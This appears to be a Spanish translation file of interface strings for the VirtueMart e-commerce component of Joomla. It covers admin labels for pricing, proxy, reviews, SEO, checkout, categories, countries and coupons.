COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Precio de descuento sin impuestos" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="Esto es de interés para comerciantes (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Cantidad del descuento" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Util para ahorrar X dinero" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="El precio de venta final" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="Es el precio que el comprador deberá pagar" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="El precio de venta con descuento" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="(?)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="el precio de venta con impuestos" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="Esto es de interés para comerciantes (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="¿Mostrar el precio para empaque?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="Si activado, la etiqueta de precio se derivara de las unidades de producto y los valores de empaque" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Mostrar impuestos en carro" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Mostrar detalles en carro" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Cantidad de impuesto" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Mostrar solo el impuesto" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="precio estandarizado" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="Precio estandarizado de productos vendidos por unidades, por ejemplo en m,l,kg" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Modificador de precio base" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="El modificador de el precio base por la variable de producto" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="Valoración" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Configuración del orden de productos" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Número de productos por omisión en una fila" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="Define el numero de productos en una fila
            " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Layout de producto" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="Este es el layout por omisión para mostrar los detalles de producto" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Contraseña de proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="El proxy requiere autenticación, por favor ingrese la contraseña correcto" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Puerto proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="El puerto usado por el proxy para la comúnicación con el servidor (generalmente 80 o 8080)" COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Configuración global de proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL del servidor proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Ejemplo" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Nombre de usuario proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="Si el proxy requiere autenticación, inserte aquí su nombre de usuario" COM_VIRTUEMART_ADMIN_CFG_RATING="Activar sistema de calificación para" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="Si activado, se permite a los compradores ver la calificación del producto" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Todos" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Compradores que adquirieron el producto" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Desactivada" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registrados" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Mostrar calificación" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="A todos" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="Si activado, permite a los compradores calificar los productos" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="Ninguno" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="A usuarios registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW="Activar sistema de revisión para" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="Si seleccionado, permite a los compradores calificar y escribir comentarios de los productos." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Longitud máxima de comentario" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="El la cantidad máxima de carácter es que pueden ser escritos por el comprador en un comentario." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Longitud mínima de comentario" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="El la cantidad mínima permitida de carácter es que deben ser escritos por el comprador en un comentario." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Todos" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Compradores que adquirieron el producto" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Desactivada" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="Usuarios registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Mostrar comentarios" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Mostrar a todos" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="Si activado, permite a los compradores ver los comentarios acerca de los productos" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="No mostrar" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Usuarios registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Comentarios de compradores/Sistema de calificación" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO desactivado" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="Si seleccionado, el SEO esta desactivado. Si deseleccionado, el SEO se activa" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Activar el SEO de virtuemart" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Activar router.php de Virtuemart" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="Configuración de SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Sufijo SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Sufijo SEO para agregar en las URL de producto" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Traducir strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="si activado, el URL usa los archivos de lenguaje para las cadenas de Virtuemart en la URL. De otra manera, los URL son creados por las cadenas por omisión." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Usar ID de productos y categorías" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="Si activado, el ID de producto, y el ID de categoría son agregadas en la URL. De otra manera, el URL contiene solo el nombre del producto y de la categoría" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Pagina inicial" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Configuración de la página inicial" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Tienda" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Configuración avanzada" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Configuración correo electrónico" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Configuración de idiomas" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="¿Tienda fuera de linea?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Mensaje fuera de linea" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="Si selecciona esta opción, la tienda mostrara el mensaje fuera de linea" COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Configuración de tienda" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Mostrar pie de página" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Mostrar imagen POWERED BY-VIRTUEMAR en el pie de página" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Mostrar subcategorías" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="si seleccionado, las subcategorías será n mostradas en la vista de categoría y en la vista de productos" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Mostrar destacados" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="si seleccionado, la página inicial de virtuemart mostrara los productos destacados." COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Mostrar últimos productos" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="si seleccionado, la página inicial de virtuemart mostrara los últimos productos." COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Muestra fabricantes" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="Si es activado mostrara los fabricantes" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Mostrar productos sin existencias" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="Si seleccionado, los productos sin existencias serán mostrados, de otra manera los productos se ocultaran" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Mostrar precios" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Seleccionar para mostrar precios. Si se usa la función de catalogo, puede nos mostrarse los precios" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Mostrar recientes" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="Si seleccionado, la página inicial de virtuemart mostrara los productos recientes." COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Mostrar Top Ten de productos" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="Si seleccionado, la página inicial de virtuemart mostrara el TOP TEN de productos" COM_VIRTUEMART_ADMIN_CFG_SSL="Active SSL para áreas sensibles (recomendado)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="Esto fuerza a joomla a usar los enlaces SSL en el carro de compras y el áreade usuario.Asegurese de usar las configuración.s de joomla correctas para el mantenimiento de usuarios y las pedidoes anonimas y el acceso" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Estado por defecto para enviar una factura" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_EXPLAIN="Estado por defecto para el envío de una factura. Se puede reemplazar por el método de pago" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="Sistema" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="Configuración del sistema" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Plantillas" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Alto de thumbnail" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="El objetivo del alto de la imagen redimensionada de Thumbnail" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Ancho de thumbnail" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="El objetivo del ancho de la imagen redimensionada de Thumbnail" COM_VIRTUEMART_ADMIN_CFG_TITLES="Títulos y títulos profesionales" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Títulos y títulos profesionales" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Active la herramienta de base de datos. Estas herramientas están hechas para desarrolladores y pueden desarmar completamente la tienda. Usese con precaución." COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW="Productos TOPTEN por omisión en fila" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW_EXPLAIN="Define el numero de productos TOPTEN en una fila
            " COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="Configuración de registro de usuarios" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Usar solo como catalogo" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="Si selecciona esto, desactiva las funciones del carro de compra" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION="Función de codificación" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION_TIP="Aquí puede seleccionar la función usada para la codificación de la información privada antes de ser almacenada en la base de datos. AES_ENCRYPT es recomendada por su seguridad. ENCODE no provee una codificación muy poderosa" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY="Clave de codificación" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY_TIP="Use para obtener de manera segura los datos privados del cliente (como tarjetas de crédito) codificados en la base de datos." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Solo usuarios registrados pueden comprar" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="La opción limita las compras a usuarios registrados" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="¿Mostrar información de políticas de devolución en la página de confirmación de pedido?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Los dueños de tienda por ley deben de proveer información acerca de las políticas de devolución y cancelación (en la mayoria de los países europeos). Esto debería estar activo en la mayoría de los casos." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Mostrar imágenes de producto" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Mostrar mini-thumbs de los productos en el carro. Puede afectar el layout." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="Al comprar, solicite registro" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="El cliente se puede registrar durante el proceso de compra" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Mostrar pasos de compra" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Texto a mostrar antes de la página de registro" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuración" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Información del método de pago" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Configuración de seguridad" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuración" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Información del método de envío" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="¿Mostrar enlace para recomendar producto?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="Si seleccionado, se muestra un enlace para enviar la recomendación del producto vía email." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="¿Mostrar enlace de impresión?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="Si seleccionado, se muestra un enlace para mostrar la vista de impresión(ventana emergente) del producto" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="¿Archivar información de tarjeta de crédito?" COM_VIRTUEMART_ADMIN_UPDATES="Actualizaciones" COM_VIRTUEMART_ADVANCED_SEARCH="Búsqueda avanzada" COM_VIRTUEMART_AD_ACY="Para una solución más compleja para enviar mensajes de correo electrónico, usted puede probar:
            %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (fuerte seguridad)" COM_VIRTUEMART_AGREE_TO_TOS="Por favor, acepte los términos de servicio" COM_VIRTUEMART_AJAX_CART_WAITING="Por favor espere. Actualizando carro" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s productos" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 producto" COM_VIRTUEMART_ALL="Todos" COM_VIRTUEMART_APPLY="Aplicar" COM_VIRTUEMART_ASEND_MSG="Hole %s, un nuevo usuario se ha registrado en %s. Este email contiene los detalles." COM_VIRTUEMART_ASKQU_CS_MAX="demasiado largo" COM_VIRTUEMART_ASKQU_CS_MIN="Minimo no alcanzado" COM_VIRTUEMART_ASKQU_INV_MAIL="El email proporcionado es invalido" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Longitud máxima de pregunta" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="La longitud máxima válida para hacer una pregunta" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Longitud mínima de pregunta" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="La longitud mínima válida para hacer una pregunta" COM_VIRTUEMART_ASK_QUESTION_SHOW="¿Mostrar un vínculo hacer pregunta?" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="Cuando está seleccionado, el cliente puede pulsar un enlace que muestra un formulario para hacer una consulta." COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Asignar zonas" COM_VIRTUEMART_ATTRIBUTES="Atributos" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Nombre de atributo" COM_VIRTUEMART_AVAILABILITY="Disponibilidad" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Mostrado cuando los productos fuera de stock pueden ser pedidos" COM_VIRTUEMART_AVAILABLE_IMAGES="Imágenes disponibles para" COM_VIRTUEMART_BACK="Regresar" COM_VIRTUEMART_BACK_TO_DETAILS="Volver a detalles de productos" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Orden por por defeecto para la categoría" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Define porque campo se ordena la categoria en la página de exploración" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Orden de productos por omisión" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Define el campo mediante el cual se ordenaran los productos en las paginas de navegación." COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Configuración de orden de productos" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Campos de orden disponibles" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Elija los campos de Ordenar-por en la página de navegación. Cada uno define un método de orden en la navegación. Si no selecciona ninguno la opción no será mostrada." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Campos de búsqueda disponibles." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Elija los campos de Buscar-por en la página de navegación. Cada uno define un método de búsqueda en la navegación. Si no selecciona ninguno la opción no será mostrada." COM_VIRTUEMART_BROWSE_VENDOR_LBL="De" COM_VIRTUEMART_BUTTON_LOGIN="Acceso" COM_VIRTUEMART_BUTTON_LOGOUT="Salir" COM_VIRTUEMART_BUTTON_SEND_REG="Enviar registro" COM_VIRTUEMART_CALC="Regla de impuesto y cálculo" COM_VIRTUEMART_CALC_DETAILS="Detalle de las Reglas de impuestos y cálculos" COM_VIRTUEMART_CALC_EPOINT_DATAX="Modificador de precio después de impuestos" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Modificador de precio por factura después de impuestos" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Modificador de precio antes de impuestos" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Modificador de precio por factura antes de impuestos" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Modificador de precio para Pmargin" COM_VIRTUEMART_CALC_EPOINT_TAX="Impuestos por producto" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Impuestos por factura" COM_VIRTUEMART_CALC_EPOINT_VATTAX="IVA por producto" COM_VIRTUEMART_CALC_KIND="Tipo de cálculo" COM_VIRTUEMART_CALC_LOCATION="Paises" COM_VIRTUEMART_CALC_NAME="Nombre de la regla de cálculo" COM_VIRTUEMART_CALC_S="Reglas de impuestos y cálculos" COM_VIRTUEMART_CALC_SHARED="compartido" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="No visible al comprador" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible al comprador" COM_VIRTUEMART_CALC_VALUE_MATHOP="Operación matemática" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="No visible al vendedor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible al vendedor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible al comprador" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible al vendedor" COM_VIRTUEMART_CANCEL="Cancelar" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="No se puede crear la imagen para la categoría" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="No se puede crear la imagen para el fabricante" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="No se puede crear la imagen para el producto" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="No se puede crear la imagen para el vendedor" COM_VIRTUEMART_CART_DATA_NOT_VALID="Datos del carro no validos" COM_VIRTUEMART_CART_MAIL_FOOTER="Gracias por comprar en" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

            Pedido confirmado

            Usted compró y confirmó una orden %1$s Tienda online.

            Usted puede controlar el estado de su orden yendo a su cuenta personal

            " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Su contraseña del pedido:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No ha seleccionado forma de pago" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No ha seleccionado forma de envío" COM_VIRTUEMART_CART_PRICE="Precio" COM_VIRTUEMART_CART_PRICE_FREE="Gratis" COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Muestra el carro de compras" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Carro de compras Virtuemart" COM_VIRTUEMART_CAST_VOTE="Vote por favor" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Búsqueda de categorías relacionadas" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Para elegir categoría superior" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Layout de categorías Virtuemart" COM_VIRTUEMART_CATEGORY="Categoría de producto" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Descripción de categoría" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Categoría" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Seleccione una categoría" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Pagina de navegación de categoría" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Template de categoría por omisión" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Pagina de detalles de producto por omisión" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Borrar imagen" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Registros iniciales Formulario de categoría" COM_VIRTUEMART_CATEGORY_FORM_LBL="Formulario de categoría de producto" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_MAX="Limite máximo de lista en formulario de categoría" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_START="Limite inicial de lista en formulario de categoría" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Incremento inicial de lista en formulario de categoría" COM_VIRTUEMART_CATEGORY_FORM_PARENT="Categoría superior" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Número de productos por omisión en fila" COM_VIRTUEMART_CATEGORY_FORM_SHARED="¿Categoría compartida?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Template de categoría" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Nivel superior de categoría" COM_VIRTUEMART_CATEGORY_ID="Categoría" COM_VIRTUEMART_CATEGORY_IMAGE="Categoría de la imagen" COM_VIRTUEMART_CATEGORY_NAME="Nombre de categoría" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Categoría de producto" COM_VIRTUEMART_CATEGORY_SHARE="Categoría compartida" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Establece categoría compartida" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use tienda por omisión" COM_VIRTUEMART_CATEGORY_UNSHARE="Categoría no compartida" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Categoría no compartida" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Muestra una sola categoría de virtuemart" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Layout de categorías Virtuemart" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="¿Activar plugins de contenido en descripciones?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="Si activado, descripción de productos y categorías son analizadas para todos los plugins de contenido" COM_VIRTUEMART_CFG_CURRENCY_MODULE="Seleccione un modulo de conversión de moneda" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="Esto le permite seleccionar un modulo especifico de conversión de moneda, estos módulos obtienen tarifas de cambio de servidores y convierten la moneda en una especifica." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Activar la característica" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Enviar notificación de stock bajo" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Enviar una notificación de stock bajo si los productos en stock y reservados son menores que el valor establecido en la edición del producto" COM_VIRTUEMART_CFG_POOS_ENABLE="Acción cuando un producto esta Sin Stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="Puede definir aqui, que ocurrira cuando un producto está Sin Stock" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Mostrar / cambiar clave de transacción" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="La variante Genérica del descendiente" COM_VIRTUEMART_CLONE="Clonar" COM_VIRTUEMART_CLOSE="Cerrar" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="Nuevos productos al final por omisión. El orden puede cambiarse después de guardado" COM_VIRTUEMART_CMN_OPTIONAL="Opcional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Atributos de Columnas, Filas" COM_VIRTUEMART_COMMENT="Comentar" COM_VIRTUEMART_COMMENT_MIN_MAX="Su mensaje debe estar entre %s y %s carácter es. gracias." COM_VIRTUEMART_COMMUNITY_FORUM="Foro" COM_VIRTUEMART_CONFIG="Configuración" COM_VIRTUEMART_CONFIGURATION="Configuración" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Imposible escribir en el archivo de configuración %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="Los detalles de configuración han sido actualizados" COM_VIRTUEMART_CONFIGURATION_MOD="Configuración" COM_VIRTUEMART_CONFIG_SAVED="Configuración guardada" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No hay moneda definida, favor de ir a %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Moneda sin formato, por favor ir a %s" COM_VIRTUEMART_CONTROL_PANEL="Panel de control" COM_VIRTUEMART_COOKIE_MISSING="Falta cookie" COM_VIRTUEMART_COUNTRY="Pais" COM_VIRTUEMART_COUNTRY_2_CODE="Pais (2) Código" COM_VIRTUEMART_COUNTRY_3_CODE="Pais (3) Código" COM_VIRTUEMART_COUNTRY_DETAILS="Detalles de país" COM_VIRTUEMART_COUNTRY_NAME="Nombre de país" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Nombre de Referencia de País" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="El Nombre de Referencia de País se utiliza cuando no hay clave en el fichero de idioma para esta país. De lo contrario se utilizará la clave de idioma. Las claves de idiomas de países están en el archivo 'com_virtuemart_countries.ini'. La clave debe tener el prefijo 'COM_VIRTUEMART_COUNTRY_' seguido de las 3 letras del código de país" COM_VIRTUEMART_COUNTRY_S="Paises" COM_VIRTUEMART_COUPON="Cupon" COM_VIRTUEMART_COUPONS_ENABLE="Activar uso de cupones" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="Si activa el uso de cupones, le permite a sus clientes usar cupones para obtener descuentos en sus compras" COM_VIRTUEMART_COUPONS_EXPIRE="Tiempo de vida de cupón por omisión" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="Puede configurar un periodo de vida de cupones, expiraran un tiempo posteriores a su creación. Esta fecha puede ser cambiada por cupón." COM_VIRTUEMART_COUPON_CODE="Código de cupón" COM_VIRTUEMART_COUPON_DETAILS="Detalles de cupón" COM_VIRTUEMART_COUPON_DISCOUNT="Descuento" COM_VIRTUEMART_COUPON_EXPIRY="Fecha de expiración de cupón" 